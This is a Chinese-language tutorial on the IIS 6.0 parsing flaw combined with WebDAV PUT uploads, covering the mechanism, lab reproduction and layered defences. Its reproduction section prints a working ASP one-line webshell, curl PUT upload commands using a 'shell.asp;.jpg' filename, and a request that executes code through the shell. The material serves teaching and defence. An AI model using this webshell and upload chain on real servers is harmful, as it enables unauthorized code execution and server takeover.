IIS6.0解析漏洞与PUT上传攻击：原理、复现与纵深防御实践

1. 项目概述：一个被遗忘的“后门”

在网络安全领域，尤其是渗透测试和漏洞研究的历史长河中，有些漏洞因其影响深远、利用方式经典而被反复提及。今天要聊的这个“IIS6.0解析漏洞——PUT方式上传文件”，就是这样一个典型的“老古董”。它不像SQL注入那样广为人知，也不像最新的零日漏洞那样引人注目，但它却像一把精准的钥匙，在特定环境下能轻易打开一扇本应紧闭的大门。对于从事安全运维、红蓝对抗或者对Web服务器安全感兴趣的朋友来说，理解这个漏洞的原理、利用方式以及防御手段，不仅是一次历史课，更是一次对服务器配置安全性的深刻反思。

简单来说，这个漏洞存在于微软早期推出的Internet Information Services 6.0（IIS6.0）Web服务器中。它允许攻击者通过HTTP协议中的PUT方法，绕过常规的文件上传限制，直接将恶意文件（如ASP木马）上传到服务器可写目录，并利用IIS6.0特有的文件名解析缺陷，使该文件被服务器以脚本形式执行，从而获取服务器控制权。这个漏洞组合拳（PUT方法启用 + 解析漏洞）在当年曾让无数疏于配置的Windows服务器沦陷。即便在今天，一些遗留的老旧系统或内网环境中，仍有可能发现它的踪迹。因此，掌握它，是为了更好地防御它。

2. 漏洞原理深度拆解：为何PUT与解析能成为致命组合？

要彻底理解这个漏洞，我们不能孤立地看待“PUT上传”和“解析漏洞”，而要将它们视为一个攻击链上的两个关键环节。这个链条的成立，依赖于IIS6.0默认配置中的几个“宽松”设定。

2.1 HTTP PUT方法：被忽视的文件上传通道

在HTTP/1.1协议中，PUT方法被设计用于向指定URI上传资源。如果该URI指向一个已存在的资源，则替换它；如果不存在，则创建它。这原本是为了支持WebDAV（Web-based Distributed Authoring and Versioning）等远程编辑功能。

在IIS6.0中，WebDAV扩展默认是安装的。这意味着，服务器理论上支持通过PUT方法上传文件。关键在于权限：哪个目录允许PUT？在默认配置下，IIS6.0并没有为整个网站开启WebDAV写入权限，但问题往往出在管理员的额外配置上。例如，为了某些应用需求（如某些内容管理系统早期的文件管理功能），管理员可能会手动为某个虚拟目录开启“写入”权限。一旦开启，这个目录就允许HTTP PUT请求。

注意：仅仅开启“写入”权限，并不意味着攻击者就能直接上传.asp文件并执行。IIS通常会对上传的文件扩展名进行过滤，或者应用程序自身有检查机制。这时，就需要第二个漏洞来绕过执行限制。

2.2 IIS6.0解析漏洞：文件名背后的陷阱

IIS6.0在处理含有特定符号的文件名时，存在一个逻辑解析错误，这是整个漏洞的灵魂。它主要存在于两种场景：

1. 目录名解析漏洞：当请求的URL路径中包含一个目录名，且该目录名以.asp、.asa、.cer等扩展名结尾时，IIS6.0会将该目录下的所有文件都交给ASP引擎去解析执行，而不管这些文件本身的扩展名是什么。

   • 示例：如果存在一个目录名为upload.asp/，那么访问http://target/upload.asp/1.jpg，服务器会尝试将1.jpg这个图片文件当作ASP脚本来解析。如果1.jpg的内容实际上是ASP代码，那么它就会被执行。

2. 分号解析漏洞：这是更常用、更灵活的一种方式。IIS6.0在解析文件名时，会将分号（;）后面的内容当作参数截断，只取分号前的部分来确定文件类型。

   • 示例：请求一个名为shell.asp;.jpg的文件。IIS6.0看到这个文件名后，会认为;之后是参数，因此它判断文件类型为.asp，并将其交给ASP引擎。而操作系统层面在保存文件时，看到的是完整的shell.asp;.jpg文件名。这就导致了服务器解析类型和实际文件存储名的不一致。

2.3 攻击链串联：从上传到getshell

将两者结合，一个标准的攻击流程便清晰了：

1. 信息收集：攻击者扫描目标，发现服务器是IIS6.0，并且通过OPTIONS方法探测到服务器支持PUT方法（返回头中包含Allow: OPTIONS, TRACE, GET, HEAD, POST, PUT等）。
2. 寻找可写目录：通过扫描或猜测，找到一个开启了“写入”权限的目录。这可能是网站本身的某个上传目录、临时目录，甚至是配置错误的根目录。
3. 利用PUT上传：直接发送一个HTTP PUT请求，将包含ASP木马代码的文件内容，以利用解析漏洞的文件名（如shell.asp;.jpg）上传到该目录。
4. 访问执行：上传成功后，直接访问http://target/writable_dir/shell.asp;.jpg。IIS6.0将其解析为ASP文件，其中的代码被执行，攻击者便获得了Webshell，进而控制服务器。

这个漏洞之所以危险，是因为它绕过了应用层所有的上传过滤逻辑。应用程序可能完美地检查了文件内容、扩展名，但只要最终文件是通过HTTP PUT方法直接写到磁盘的，应用程序就无从知晓，也无法干预。这是一种服务器层面的权限旁路。

3. 实操复现与环境搭建

为了真正理解漏洞的细节，我们最好在一个受控的环境中进行复现。请务必仅在你自己拥有完全权限的虚拟机或隔离实验室中进行以下操作，切勿对任何非授权目标进行测试。

3.1 实验环境准备

我们需要一台Windows Server 2003（原生搭载IIS6.0）的虚拟机。安装系统后，确保安装了IIS6.0和WebDAV组件。

1. 安装IIS6.0：通过“控制面板”->“添加或删除程序”->“添加/删除Windows组件”，勾选“应用程序服务器”，点击“详细信息”，确保“Internet信息服务(IIS)”被选中并安装。
2. 验证WebDAV：安装后，在IIS管理器里查看网站属性，在“HTTP头”选项卡下查看“MIME类型”，如果存在大量扩展名，通常意味着WebDAV已安装。更直接的方法是，安装时在IIS组件详情中勾选“WebDAV发布”（虽然默认可能已包含）。
3. 配置一个可写目录：
   • 在IIS管理器中，右键点击“默认网站”或你创建的站点，选择“新建”->“虚拟目录”。
   • 别名填写upload（可任意），路径指向一个物理目录，如C:\inetpub\wwwroot\upload。
   • 在虚拟目录的“属性”中，切换到“虚拟目录”选项卡，在“本地路径”下，勾选“写入”权限。这是关键一步，模拟了不安全的配置。

3.2 利用工具与手动攻击演示

我们可以使用图形化工具如IISPutScanner或IISWrite，但理解手动利用过程更能加深印象。这里我们使用cURL命令行工具来演示，它清晰展示了原始的HTTP交互。

步骤一：探测服务器支持的方法

curl -v -X OPTIONS http://192.168.1.100/

在返回的HTTP头中，寻找Allow:字段。如果包含PUT，则说明支持。

步骤二：准备Webshell内容创建一个文本文件shell.txt，内容为最简单的ASP一句话木马：

<%eval request("cmd")%>

步骤三：使用PUT方法上传文件

curl -v -X PUT --data-binary @shell.txt http://192.168.1.100/upload/shell.asp;.jpg

• -X PUT：指定使用PUT方法。
• --data-binary @shell.txt：将shell.txt文件的内容作为请求体发送。
• http://192.168.1.100/upload/shell.asp;.jpg：目标URL。注意文件名使用了;.jpg来利用解析漏洞。

如果成功，服务器会返回201 Created或200 OK响应。

步骤四：访问Webshell执行命令现在，访问http://192.168.1.100/upload/shell.asp;.jpg。页面可能空白，但这正常。我们通过传递参数来执行命令。使用浏览器或curl测试：

curl http://192.168.1.100/upload/shell.asp;.jpg?cmd=Response.Write("Hello from IIS6.0!")

如果页面输出Hello from IIS6.0!，则证明漏洞利用成功，ASP引擎执行了我们通过cmd参数传递的代码。更复杂的木马可以通过此通道上传，实现文件管理、系统命令执行等功能。

3.3 实操中的关键要点与变种

• 权限是前提：整个攻击链的起点是找到一个具有“写入”权限的目录。除了网站虚拟目录，有时IIS的IISHelp、Printers等默认目录也可能被错误配置。
• 文件名技巧：除了;，也可以尝试shell.asa;.jpg、shell.cer;.jpg（.asa,.cer在IIS6.0上默认也被ASP引擎处理）。甚至结合目录解析漏洞，先创建一个名为test.asp的目录（如果权限足够大），再PUT文件进去。
• 工具自动化：在实际渗透测试中，使用如iisputscanner这样的工具可以批量扫描网段，快速定位存在PUT漏洞且可写的服务器。它会自动尝试PUT一个测试文件，然后尝试访问以确认。

4. 漏洞背后的深层原因与防御之道

知其然，更要知其所以然。这个漏洞能存在，是多重因素叠加的结果。

4.1 设计缺陷与默认配置的“原罪”

1. WebDAV的默认安装与权限分离不清晰：IIS6.0将WebDAV作为扩展集成，但其权限管理与IIS本身的目录权限耦合，容易导致管理员在开启“写入”权限时，未意识到这同时开启了HTTP PUT方法，造成了权限的扩大化。
2. 解析逻辑与安全逻辑的脱节：文件名解析模块（根据扩展名决定处理程序）与安全检查模块（如请求过滤）在处理顺序或规则上存在不一致。;被解析模块特殊处理，但可能未被安全检查模块视为恶意字符。这是一种典型的“语义混淆”漏洞。
3. “宽容”的解析策略：为了兼容性，IIS6.0对文件扩展名的处理策略过于宽容。目录解析漏洞更是将解析逻辑错误地应用到了目录名上，这违反了“最小权限”和“明确性”原则。

4.2 全面防御方案：从根治到缓解

对于仍然需要运行IIS6.0的系统（虽然强烈建议升级），可以采取以下层层递进的防御措施：

4.2.1 根除方案：升级与禁用

• 升级服务器：这是最根本、最推荐的解决方案。将系统升级至更高版本的Windows Server（如2008 R2, 2012, 2016, 2019等），并使用相应版本的IIS（7.0及以上）。新版IIS在请求过滤、模块化架构上安全得多，默认不存在此解析漏洞。
• 彻底禁用WebDAV：如果确实不需要WebDAV功能，应在IIS管理器中彻底禁用WebDAV扩展，或直接卸载该组件。在“Web服务扩展”中，找到“WebDAV”，将其设置为“禁止”。
• 移除不必要的脚本映射：对于不需要运行ASP的目录，在IIS中移除.asp、.asa、.cer等扩展名的应用程序映射。

4.2.2 配置加固：最小权限原则

• 审查目录写入权限：严格审计IIS中所有虚拟目录和应用程序的权限。除非绝对必要，否则不要勾选“写入”权限。对于必须上传的目录，将其权限设置为最低，例如仅允许“读取”和“写入”，但绝不“执行脚本”。
• 使用专用上传处理程序：不要依赖IIS直接处理上传文件。应该由后端应用程序（如ASP.NET、PHP程序）接收文件数据，在应用层进行严格的重命名（如使用GUID作为文件名）、内容检查、病毒扫描后，再保存到服务器磁盘。保存目录不应具有任何脚本执行权限，且最好位于Web根目录之外。
• 配置请求过滤：虽然IIS6.0的请求过滤功能较弱，但可以设置URLScan等工具。URLScan可以过滤包含特定字符（如;、%）的请求，阻止利用解析漏洞的请求到达服务器。

4.2.3 应急缓解措施

• 设置NTFS权限：在操作系统层面，对Web可访问目录设置严格的NTFS权限。确保IUSR_[MachineName]（IIS匿名访问账户）和IIS_WPG组只有“读取”和“列出文件夹内容”的权限，绝不给“修改”或“完全控制”权限。对于上传目录，可以给IUSR账户“写入”权限，但必须配合上述的“无脚本执行权限”IIS设置。
• 自定义错误页面：配置自定义的404、500错误页面，避免在错误信息中泄露服务器版本、路径等敏感信息，增加攻击者的信息收集难度。
• 日志监控与告警：启用并定期检查IIS日志（默认位于%SystemDrive%\inetpub\logs\LogFiles）。特别关注HTTP方法为PUT的请求（sc-method字段），以及请求URL中包含.asp;、.asa;等可疑模式的访问记录。可以配置日志分析工具进行实时告警。

5. 从漏洞看现代安全运维的启示

尽管这是一个“老”漏洞，但它所暴露出的安全问题在今天依然具有极强的警示意义。

5.1 默认不安全与最小权限

IIS6.0的案例是“默认不安全”的典型。默认安装并开启潜在危险功能（WebDAV），默认配置过于宽松。现代安全实践强调“最小权限原则”和“默认拒绝”。任何服务、功能、权限的开启，都应该是显式的、经过评估的。运维人员在部署服务时，第一件事就应该是收紧默认配置。

5.2 纵深防御与攻击面管理

防御不能只靠一层。这个漏洞链涉及了HTTP方法权限、目录权限、文件解析逻辑多个层面。有效的防御需要在每一个层面都设置关卡：网络层防火墙限制、Web服务器配置、应用程序代码检查、操作系统权限控制、文件系统监控。这就是纵深防御。同时，要持续管理攻击面，定期审查和关闭不必要的服务、端口、API和权限。

5.3 安全左移与持续教育

安全不应该只是渗透测试人员或运维后期的工作。在系统设计、架构选型、代码开发、上线部署的每一个环节，都应该考虑安全。例如，在项目设计时，就明确文件上传必须通过应用后端处理；在采购软件时，评估其历史漏洞情况。同时，对开发、运维人员进行持续的安全意识培训，让他们了解像解析漏洞、不安全直接对象引用（IDOR）、路径遍历这些经典漏洞的原理和危害，才能从根本上减少人为配置错误。

5.4 遗留系统的特殊挑战

在现实中，升级并非总是立即可行。财务系统、工业控制设备、特定的硬件驱动可能将企业锁定在老旧的操作系统和中间件上。对于这些“遗产”系统，安全运维更为艰巨：

• 严格网络隔离：将其放入独立的VLAN或网段，通过防火墙严格限制入站和出站连接，只允许必要的业务流量。
• 虚拟化与沙箱：将物理机迁移到虚拟机中，便于快照和隔离。考虑使用沙箱技术限制其行为。
• 增强监控：部署主机入侵检测系统（HIDS）、文件完整性监控（FIM），对任何异常的文件创建、进程启动、网络连接进行告警。
• 制定淘汰计划：尽管困难，但仍需制定明确的系统升级或替换路线图，因为依赖一个不再受支持的系统，风险只会与日俱增。

回过头看“IIS6.0解析漏洞——PUT方式上传文件”，它不仅仅是一个技术知识点，更是一个完整的安全案例。它告诉我们，一个漏洞的利用，往往是多个微小失误串联的结果；而有效的防御，则需要体系化的思考和持续的努力。在安全的世界里，了解攻击，是为了构建更坚固的防御。